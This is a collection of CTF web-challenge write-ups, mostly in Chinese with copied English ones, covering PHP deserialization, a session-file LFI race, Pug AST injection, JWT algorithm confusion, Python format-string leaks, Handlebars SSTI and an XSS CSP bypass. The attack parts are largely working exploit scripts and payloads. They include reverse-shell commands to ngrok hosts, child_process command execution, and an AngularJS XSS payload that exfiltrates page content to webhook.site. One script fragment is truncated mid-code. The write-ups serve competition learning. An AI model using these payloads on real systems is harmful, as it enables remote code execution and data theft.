Usual or Unusual

<?php

error_reporting(0);
//ini_set("display_errors", 1);
//error_reporting(0);
$seed = file_get_contents("seed");
$flag = file_get_contents("flag");

class User {

private $id;
private $username;
private $password;
private $showSource;
private $color;

function __construct($id) {
$this->id = $id;
$this->username = "guest";
$this->password = "guest";
$this->showSource = false;
$this->color = "#FFFFFF";
}

public function getUsername() {
return $this->username;
}

public function setUsername($username) {
$this->username = $username;
}

public function getPassword() {
return $this->password;
}

public function setPassword($password) {
$this->password = $password;
}

public function getShowSource() {
return $this->showSource;
}

public function setShowSource($showSource) {
$this->showSource = $showSource;
}

public function getColor() {
return $this->color;
}

public function setColor($color) {
$this->color = $color;
}
}

$userColor = "#FFFFFF";
$result = "Login Failed";

if(isset($_POST["login"])){
if(isset($_COOKIE["cookie"])){
$user = unserialize($_COOKIE["cookie"]);
$user->setUsername($_POST["username"]);
$user->setPassword($_POST["password"]);
setcookie("cookie", serialize($user), [
"expires"=>time() + (86400 * 30),
"path"=>"/",
"httponly"=>true,
"samesite"=>"Strict"
]);
}
}

if(isset($_COOKIE["cookie"])){
$user = unserialize($_COOKIE["cookie"]);
if($user->getShowSource()){
highlight_file(__FILE__);
die();
}else{
$userColor = $user->getColor();
gmp_random_seed($seed);
$rand = gmp_random_bits(100);
$password = $flag . gmp_strval($rand);
if($user->getUsername() == "admin"){
if($user->getPassword() == $password){
$result = $flag;
}
}
}
}else{
$rand = gmp_random_bits(100);
$user = new User(gmp_strval($rand));
setcookie("cookie", serialize($user), [
"expires"=>time() + (86400 * 30),
"path"=>"/",
"httponly"=>true,
"samesite"=>"Strict"
]);
}

echo "<!DOCTYPE html>
<html lang='en'>
<head>
<title>Login Page</title>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<link rel='icon' type='image/png' href='images/icons/favicon.ico'/>
<link rel='stylesheet' type='text/css' href='vendor/bootstrap/css/bootstrap.min.css'>
<link rel='stylesheet' type='text/css' href='fonts/font-awesome-4.7.0/css/font-awesome.min.css'>
<link rel='stylesheet' type='text/css' href='vendor/animate/animate.css'>
<link rel='stylesheet' type='text/css' href='vendor/css-hamburgers/hamburgers.min.css'>
<link rel='stylesheet' type='text/css' href='vendor/select2/select2.min.css'>
<link rel='stylesheet' type='text/css' href='css/util.css'>
<link rel='stylesheet' type='text/css' href='css/main.css'>
</head>
<body>
<div class='bg-contact2'>
<div class='container-contact2'>
<div class='wrap-contact2' style=\"background: " . $userColor . ";\">
<form method='POST' enctype='multipart/form-data' class='contact2-form validate-form'>
<span class='contact2-form-title' style='padding-bottom: 5%;'>
Login
</span>

<div class='wrap-input2 validate-input' data-validate='Username is required'>
<input class='input2' type='text' name='username'>
<span class='focus-input2' data-placeholder='USERNAME'></span>
</div>

<div class='wrap-input2 validate-input' data-validate = 'Password is required'>
<input class='input2' type='password' name='password'>
<span class='focus-input2' data-placeholder='PASSWORD'></span>
</div>

<div class='container-contact2-form-btn'>
<div class='wrap-contact2-form-btn'>
<input type='submit' name='login' value='Login' class='contact2-form-btn'>
</div>
</div>
</form><br>"
. $result .
"</div>
</div>
</div>


<script src='vendor/jquery/jquery-3.2.1.min.js'></script>
<script src='vendor/bootstrap/js/popper.js'></script>
<script src='vendor/bootstrap/js/bootstrap.min.js'></script>
<script src='vendor/select2/select2.min.js'></script>
<script src='js/main.js'></script>

<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());

gtag('config', 'UA-23581568-13');
</script>

</body>
</html>";

?>

反序列化在cookie里!

PAYLOAD

if($user->getUsername() == "admin"){
if($user->getPassword() == $password){
$result = $flag;
}
O:4:"User":5:{s:8:".User.id";s:31:"1196235244507923447201774248406";s:14:".User.username";s:5:"guest";s:14:".User.password";s:5:"guest";s:16:".User.showSource";b:0;s:11:".User.color";s:7:"#FFFFFF";}
O:4:"User":5:{s:8:".User.id";s:31:"1196235244507923447201774248406";s:14:".User.username";s:5:"admin";s:14:".User.password";b:1;s:16:".User.showSource";b:0;s:11:".User.color";s:7:"#FFFFFF";}

.是%00 可能是因为网页解密的问题!
O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22206922801991758349534736508434%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00User%00password%22%3Bb%3A1%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFF00%22%3B%7D

O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22206922801991758349534736508434%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00User%00password%22%3Bb%3A0%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFF00%22%3B%7D

为啥要把密码变成二进制呢!

个人感觉! 010101 == 'aaaaa'

弱比较的化 字符串是 0 ! 就是一个php弱比较!

O:4:"User":5: {
s:8:".User.id";
s:30:"890143755983288300723865605783";
s:14:".User.username";
s:5:"admin";
s:14:".User.password";
i:0;
s:16:".User.showSource";
b:0;
s:11:".User.color";
s:7:"#FFFFFF";
}

用二进制的化 b:1; 为什么呢! 因为是1 ! 所以二进制里 是 2的0次方! 反正二进制 必须是1才行!

PwnQL #1

<?php

?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://138.68.168.137:32079/?f=../../../../../../../../../../../../../tmp/sess_'+sessid,data=data)
print(resp.url)
# print(resp.text)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

BlitzProp

AST注入 啥啊!

https://blog.p6.is/AST-Injection/#Pug

https://www.zhihu.com/question/33107553

https://esprima.org/demo/parse.html#

AST:

抽象语法树(Abstract Syntax Tree)也称为AST语法树,指的是源代码语法所对应的树状结构。也就是说,对于一种具体编程语言下的源代码,通过构建语法树的形式将源代码中的语句映射到树中的每一个节点上。

imglitzProp

img

img

This challenge was pretty similar to the challenge “Gunship”(writeup) of HTB University CTF 2020. This challenge was an AST injection described in this blog. To exploit this web, we first need to trigger the “unflatten” function with our payload and then the “pug.compile” function so that the server runs our payload. The vulnerable code of the challenge:

img

My final exploit.py:

import requests

TARGET\_URL = 'http://URL:PORT'
#TARGET\_URL = 'http://localhost:1337'

# make pollution // Send Exploit
a = requests.post(TARGET\_URL + '/api/submit', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i 2>&1|nc NGROKURL NGROKPORT >/tmp/f`)"
},
})
# Trigger poll
a = requests.post(TARGET\_URL + '/api/submit', json = {
"song.name": "Not Polluting with the boys"
})
# execute
requests.get(TARGET_URL)
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('nc 3.tcp.ngrok.io 11163 -e /bin/sh')"
}
}
nc 3.tcp.ngrok.io 11163 -e /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i 2>&1|nc NGROKURL NGROKPORT >/tmp/f
一样

CaaS Solution

curl 支持很多协议! 皮 错了

着个题和 file协议有关! 知道file协议只能本地读取就可以了!

https://www.cnblogs.com/lishanlei/p/9327646.html

image-20210425160521027

浏览器通过file://访问文件和http://访问文件的区别

file协议用于访问本地计算机中的文件,好比通过资源管理器中打开文件一样,需要主要的是它是针对本地的,即file协议是访问你本机的文件资源。

http访问本地的html文件,相当于将本机作为了一台http服务器,然后通过localhost访问的是你自己电脑上的本地服务器,再通过http服务器去访问你本机的文件资源。

再简单点就是file只是简单请求了本地文件,将其作为一个服务器未解析的静态文件打开。而http是在本地搭建了一个服务器再通过服务器去动态解析拿到文件。

其他区别:

file协议只能在本地访问

本地搭建http服务器开放端口后他人也可以通过http访问到你电脑中的文件,但是file协议做不到

file协议对应有一个类似http的远程访问,就是ftp协议,即文件传输协议。

file协议无法实现跨域

所以可以直接读取!

junior-jwt

jwt绕过 baby web jwt

Solution

For creating the payload, we can use the website’s source code.

We should just change the main function as below (changing role to admin and changing RS256 to HS256):

就是把非对称加密 变成对称加密

function main()
{

$publikKey = '-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEApPRW0nXMoQyN8GzVCHaW
nWyq00omHh/o7AXEJvbpVBk5HTWLt+Zdj1aK1JFWU5lPeMSoXkf7WJiqoGgwVblX
Rq2dSIIaNBFSjomS1Mcw1Tyx+q9Y6CPJGdwAMEMH5uKhGkgV9OrFQcHoozLAvzFl
BneqmTO9+V1FKEuHWHItvdP1em7UiUnZ7JXb13L4IbZVGPNgDVf0GoButIlVo1+T
pMZcBHNV0ndGZg0e6qTCp5m9yMWcH697Rt2FRN4fgJpYBknBs8UrAeCczRkk6037
N+c4IM+St6KZNqg+4ZlRZC+V9zOBSTkrXXN/CXRUiIQMgmyit5zbEpN8PUY6VPzk
zVI9FbkB0nb+Dp04VPRWeeV1IKPZk2DuSOALh9ZacbEQ8Spuua6nxZ5gCSve7TL7
r9xg8ml5zZXAw7l8WoHkyy2ocPy0OL+PWFvUar59epfPUQZmRE08yVrlvy+WXFC2
dbFxD80tPgbcjJbKRGGv1uOx/3Z2HrXHoOslVmV87rgWfxBaJjrSsSY1fKLYJLnk
FKJd6eSLDYzTAczbMiov8F9ovMw4/juWZy2s4QOCdXp7byKOuQUJ+HSiZiNiyjTk
XaA5oGEF/FIxAMRbaEd/YSsE7ASMxS4mhyIAGFvqK8YZ+xqEAbNlT4zK+dAAC3mL
I/VyHBAlgHRxEiRE860DhfcCAwEAAQ==
-----END PUBLIC KEY-----';

$issuedAt = new DateTimeImmutable();
$data = [
"role" => "admin",
"iat" => $issuedAt->getTimestamp(),
"nbf" => $issuedAt->getTimestamp()
];

$token = JWT::encode($data, $publikKey, 'HS256');

echo $token;

}

`RS256` to `HS256`   HS256 是对称的!

SSTI

web python

Magic Render

This was a web challenge in the Hero CTF 2021.

https://www.heroctf.fr/challenges

Magic Render Challenge

Clicking the link gives us this page: Magic Render Page

You can enter a title and body and you’ll get back an html page with your title and body inserted.

I tried various special characters until I saw that {} in the body causes this error.

Something went wrong, sorry! It's only the alpha version !

After some searching, I found this online: https://podalirius.net/articles/python-format-string-vulnerabilities/

Finding this page was key to solving this challenge. No way would I have done so without it.

I tried an example from that page:

{self.__init__.__globals__}

and got (newlines added for readability):

{'__name__': '__main__', '__doc__': None, '__package__': None,
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f5107b17518>,
'__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': 'app.py',
'__cached__': None, 'Flask': , 'render_template': , 'request': , 'FlaskView': ,
'route': , 'dis': , 'app': , 'port': 8050, 'secret_function': , 'App': }

Notice there is a secret_function!

At first I tried to access it like this:

{self.__init__.__globals__.secret_function}

but got back the error. Eventually I learned that I needed to use brackets since __globals__ is a dictionary.

{self.__init__.__globals__[secret_function]}

But that just gives back an empty page.

In hindsight, that makes sense since that object must not have a string representation or else it would’ve shown it to us when we dumped out __globals__.

If I try to call this function:

{self.__init__.__globals__[secret_function]()}

I get back an error.

At this point, I didn’t know to do.

I copied some example code from the above page and hacked on it a bit so I could play around with this locally.

import sys

def secret_function():
flag = 'wow'
return flag

class TEST():
def __init__(self):
self.testValue = 'test'

def renderHTML(self, templateHTML, text):
return (templateHTML.format(self=self, text=text))

if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT")
else :
a = TEST()
print(a.renderHTML(sys.argv[1], 'foo'))

I could then call this locally like:

python3 crack.py '{self.__init__.__globals__}'

and got this output:

{'__name__': '__main__', '__doc__': None, '__package__': None,
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10ebb0040>,
'__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,
'__file__': 'crack.py', '__cached__': None, 'sys': <module 'sys' (built-in)>,
'secret_function': <function secret_function at 0x10ede2790>, 'TEST': <class '__main__.TEST'>,
'a': <__main__.TEST object at 0x10edf6fd0>}

That looks similar enough to the challenge that I thought I was on the right track.

Wanting to know what was hiding inside the function object, I hacked the renderHTML() method to be:

def renderHTML(self, templateHTML, text):
return dir(self.__init__.__globals__['secret_function'])

The dir() method will dump out all of an object’s properties.

It printed this:

['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__',
'__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__',
'__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__',
'__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__',
'__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

Not knowing what to look for, I tried several of these until I stumbled upon __code__:

def renderHTML(self, templateHTML, text):
return dir(self.__init__.__globals__['secret_function'].__code__)

and got:

['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__',
'__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount',
'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars',
'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize',
'co_varnames', 'replace']

co_varnames looked interesting so I tried:

return self.__init__.__globals__['secret_function'].__code__.co_varnames

and got:

('flag',)

Then I tried co_consts:

return self.__init__.__globals__['secret_function'].__code__.co_consts

and got:

(None, 'wow')

Armed with this, I was ready to return to the challenge.

When I submit this for the body:

{self.__init__.__globals__[secret_function].__code__.co_varnames}

it returned:

('flag',)

Finally, I submitted:

{self.__init__.__globals__[secret_function].__code__.co_consts}

and got:

(None, 'Hero{l34k_my_byt3c0d3zzzzzz}')

Again, I got lucky that I found this particular page and that I happened find my way through the maze of properties to find the one containing the flag.

I definitely learned a lot about all of the properties I never knew were hiding inside Python function objects.

{self}

Black Market

nodejs ssti

Description

A group of hackers sell illegal services on the deep web. This site has already caused a lot of damage, it must be stopped!

Find a way to take control of the web server!

URL : http://chall2.heroctf.fr:3050

Format : Hero{}

Author : Worty

Solution

We’ve given a url http://chall2.heroctf.fr:3050.

img

Basket feature shows 403.

img

We can buy stuff navigating to Our services

img

If we buy any item and go back to basket we see it shows price and details.

img

We see that it shows price and number of services purchased. It also generates new bitcoin address on every refresh. The Buy request look like below.

POST /buy HTTP/1.1
Host: chall2.heroctf.fr:3050
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 29
Origin: http://chall2.heroctf.fr:3050
DNT: 1
Connection: close
Referer: http://chall2.heroctf.fr:3050/services/malware

id=2&type=malware&price=0.053

Trying SSTI attempt succeeded with {7*7} input.

POST /buy HTTP/1.1
Host: chall2.heroctf.fr:3050
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 27
Origin: http://chall2.heroctf.fr:3050
DNT: 1
Connection: close
Referer: http://chall2.heroctf.fr:3050/services/ddos
Cookie: basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMDUzIn19fQ%3D%3D

id=1&type=ddos&price={7*7}

img

Looking at the response headers we see that the server is hosted using NodeJS Express framework.

HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMDUzIn19fQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 26 Apr 2021 05:23:06 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 17
ETag: W/"11-KLSLPG1b7/ut5NWgA8Up/1GscNo"
Date: Mon, 26 Apr 2021 05:08:06 GMT
Connection: close

{"ok":"Success."}

We can try payloads related to either Jade or Handlerbars template engines. I wrote a simple python script to explore the injection.

import re
import sys
import requests

r = requests.post('http://chall2.heroctf.fr:3050/buy', data={'id':'1',"type":'malware',"price":sys.argv[1]})
c = r.headers['Set-Cookie'].split('=')[1].split(';')[0]
r = requests.get('http://chall2.heroctf.fr:3050/basket', cookies={'basket':c})
print(re.findall(r'Total:.*',r.text)[0])

Running this script with an argument {{this}} gives me [object object] output.

python3 market.py 

Total: [object Object]<br/>

This confirms that the application is using Handlebars template engine. We can read more from this blogpost. env can be accessed using global.process.env and the JavaScript object to string conversion can be done using JSON.stringify method.

python3 market.py '{{JSON.stringify(process.env)}}'

Total: {&#34;NODE_VERSION&#34;:&#34;14.16.1&#34;,&#34;HOSTNAME&#34;:&#34;ca7ae5cfca55&#34;,&#34;YARN_VERSION&#34;:&#34;1.22.5&#34;,&#34;HOME&#34;:&#34;/root&#34;,&#34;PATH&#34;:&#34;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#34;,&#34;PWD&#34;:&#34;/usr/src/app&#34;}<br/>

Output is gibberish :P but we can read stuff. Flag can be printed using below payload.

python3 market.py '{{JSON.stringify(process.mainModule.constructor._load("child_process").exec("cat flag.txt"))}}'

Total: &#34;Hero{g3t_0n_my_l3v4l_4nd_fl3x}\n&#34;<br/>

两篇nodejs文章不错!

https://mp.weixin.qq.com/s/enBJstbquGhQIaxOnrOPtg

https://mp.weixin.qq.com/s/Rt_l5y4ivQZQLKp9cM-AaA

The Galactic Times

知识点:xss+csp绕过

Description

The Galactic Times is a monthly Alien newspaper that focuses on news from around the Galaxy. This month’s issue is focused on the Human race and contains some very controversial articles. The newspaper reportedly contains a restricted endpoint with some Alien secrets. Can you find a way to view the forbidden pages?

Files

Provided docker environment.

Looking around

This is the website lmao 😂.

web

Code

routes/index.js

const bot = require('../bot');
const fs = require('fs');

let db;

async function router (fastify, options) {
fastify.get('/', async (request, reply) => {
return reply.type('text/html').send(fs.readFileSync('views/index.html',{encoding:'utf8', flag:'r'}));
});

fastify.get('/alien', async (request, reply) => {
if (request.ip != '127.0.0.1') {
return reply.code(401).send({ message: 'Only localhost is allowed'});
}
return reply.type('text/html').send(fs.readFileSync('views/alien.html',{encoding:'utf8', flag:'r'}));
});

fastify.get('/feedback', async (request, reply) => {
return reply.type('text/html').send(fs.readFileSync('views/feedback.html',{encoding:'utf8', flag:'r'}));
});

fastify.post('/api/submit', async (request, reply) => {
let { feedback } = request.body;

if (feedback) {
return db.addFeedback(feedback)
.then(() => {
bot.purgeData(db);
reply.send({ message: 'The Galactic Federation has processed your feedback.' });
})
.catch(() => reply.send({ message: 'The Galactic Federation spaceship controller has crashed.', error: 1}));
}

return reply.send({ message: 'Missing parameters.', error: 1 });
});

fastify.get('/list', async (request, reply) => {
if (request.ip != '127.0.0.1') {
return reply.code(401).send({ message: 'Only localhost is allowed'});
}
return await db.getFeedback()
.then(feedback => {
if (feedback) {
return reply.view('views/list.pug', { feedback: feedback });
}
return reply.send({ message: 'The Galactic Federation archives appear to be empty.' });
})
.catch(() => {
return reply.send({ message: 'The Galactic Federation spaceship controller has crashed.' });
});
});
}

module.exports = database => {
db = database;
return router;
};

database.js

const sqlite = require('sqlite-async');

class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}

async connect() {
this.db = await sqlite.open(this.db_file);
}

async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS feedback;

CREATE TABLE IF NOT EXISTS feedback (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
comment VARCHAR(255) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

INSERT INTO feedback (comment) VALUES ('Issue #256 is the best issue so far. Keep up the good work.');
INSERT INTO feedback (comment) VALUES ('Articles could be better. The memes are not very realistic.');
INSERT INTO feedback (comment) VALUES ('This article is very specist. Humans are better than that.');
`);
}

async addFeedback(comment) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('INSERT INTO feedback (comment) VALUES (?)');
resolve(await stmt.run(comment));
} catch(e) {
reject(e);
}
});
}

async getFeedback() {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM feedback');
resolve(await stmt.all());
} catch(e) {
reject(e);
}
});
}
}

module.exports = Database;

bot.js

const puppeteer = require('puppeteer');

const browser_options = {
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update'
]
};

async function purgeData(db){
const browser = await puppeteer.launch(browser_options);
const page = await browser.newPage();

await page.goto('http://127.0.0.1:1337/list', {
waitUntil: 'networkidle2'
});

await browser.close();
await db.migrate();
};

module.exports = { purgeData };

views/alient.html

[REDACTED]
<aside>
<div>
<div class="issue">⟟⌇⌇⎍⟒ #256</div>
<div class="date">⎎⍀⟟⎅⏃⊬, 29 ⋔⏃⍀☊⊑, 2069</div>
<div class="edition">CHTB{f4k3_fl4g_f0r_t3st1ng}</div>
</div>
</aside>
[REDACTED]

Methodology

We have to perform a GET /alien to get the flag which is in the html. However we will get blocked because the request is not coming from 127.0.0.1. We can perform POST /api/submit to give feedback. This feedback gets saved in the database. After that purgeData() is called and the bot visits http://127.0.0.1:1337/list. This endpoint list all feedback including our recently added feedback. We cannot perform the GET /list ourselves because we will get blocked again due to 127.0.0.1 restriction. The added feedback is not sanitized therefore we can inject html tags without problems.

The idea here is to insert a feedback containing XSS <script> tags. The bot will open the /list and parse the page which contains our XSS payload which will execute. The XSS payload should perform a GET /alien (which is fine because the request is coming from localhost) and send the page html to our remote listening endpoint.

There is a problem. The server enforces CSP. Example.

Content-Security-Policy: default-src 'self';script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com/;style-src 'self' 'unsafe-inline' https://unpkg.com/nes.css/ https://fonts.googleapis.com/;font-src 'self' https://fonts.gstatic.com/;img-src 'self' data:;child-src 'none';object-src 'none'

For better understanding we can use CSP Evaluator.

csp

There is unsafe-eval for https://cdnjs.cloudflare.com. HackTricks has a payload specifically for cloudflare, yay 🥳. The payload uses an angular scripts which is hosted on cloudflare with which we can perform XHR requests. With this we can perform a request (to /alien) and get the page content. Then we will send the page content to our remote endpoint.

On more problem is, that the /alien page contains weird characters and (probably) the method in the payload will crash when reading those characters. So we will only “grep” a string from the page cointaing CHTB{.*} using js method match().

Exploit

Be sure to substitute the location with your own remote endpoint. We use webhook.site.

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script><div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var z=new XMLHttpRequest();z.onreadystatechange=function(){if (z.responseText) location="https://webhook.site/4b9d1f8b-6d9a-4973-9a27-b81b2eebbaae?a="+btoa(z.responseText.match(/CHTB{.*}/)[0])};z.open("GET","http://127.0.0.1:1337/alien",false);z.send();//');}} </div>

Sending payload…
feedback

We get a hit! 🙂
hook

Parameter a contains base64 encoded flag.

$ echo -n 'Q0hUQnt0aDNfd2gxdDNsMXN0M2RfQ05EX3N0cjFrM3NfYjRja30=' | base64 -d
CHTB{th3_wh1t3l1st3d_CND_str1k3s_b4ck}

总结一下把

其实 代码 没必要都看懂! 关键的会就行了! 主要是逻辑结构 要清除!!

慢慢来! 渗透思路要广阔才行!

多打打比赛,看看题解!